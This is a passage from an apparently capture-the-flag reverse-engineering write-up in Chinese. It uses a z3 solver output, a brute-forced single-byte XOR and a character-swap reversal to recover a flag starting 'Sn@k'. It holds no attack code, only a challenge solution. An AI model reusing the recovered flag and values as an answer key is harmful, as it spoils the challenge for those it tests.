 if solver.check() == sat:  model = solver.model()  for i in range(1, 5):  print(f'x{i} = {model[x[i-1]]}')  print(f'y{i} = {model[y[i-1]]}')  print(f'z{i} = {model[z[i-1]]}')  print(f'n{i} = {model[n[i-1]]}')  else:  print('无解') 得到的结果,将其按照数组来填充 得到 Python 这是真flag解密后的结果:  x1 = 100  y1 = 89  z1 = 119  n1 = 92    x2 = 66  y2 = 5  z2 = 69  n2 = 4    x3 = 84  y3 = 83  z3 = 4  n3 = 104    x4 = 104  y4 = 82  z4 = 69  n4 = 86    100,89,119,92,66,5,69,4,84,83,4,104,104,82,69,86   这是假flag解密后的结果: x1 = 60  y1 = 1  z1 = 47  n1 = 4    x2 = 88  y2 = 87  z2 = 86  n2 = 95    x3 = 89  y3 = 13  z3 = 14  n3 = 94  x4 = 90  y4 = 91  z4 = 92  n4 = 93    60,1,47,4,88,87,86,95,89,13,14,94,90,91,92,93 按照我的思路来填充结果数组; 因为刚才说了,异或的值不清楚,但是一直为单字节固定值,所以使用Cybe的爆破功能。 根据程序的验证功能可知,flag以Sn@K开头,所以找到了真正的flag 但是顺序发生了变化,下面是假flag生成密文解密之后的结果,发现密文变化了 +-----------------------------------------------------------------------+ | Sn@ku2r3cd3__era                                                      | | Sn@k78906ba15432                                                     | |                                                                                       | | Sn@k0123456789ab                                                    | |                                                                                       | | 经过交换后的结果:                                                      | |                                                                                       | | Sn@k78906ba15432                                                    | |                                                                                       | | 按照我们构造的flag交换顺序后的字符串来恢复            | | 恢复                                                                               | | Sn@k3_are_cu2r3                                                        | +-----------------------------------------------------------------------+ 成功验证!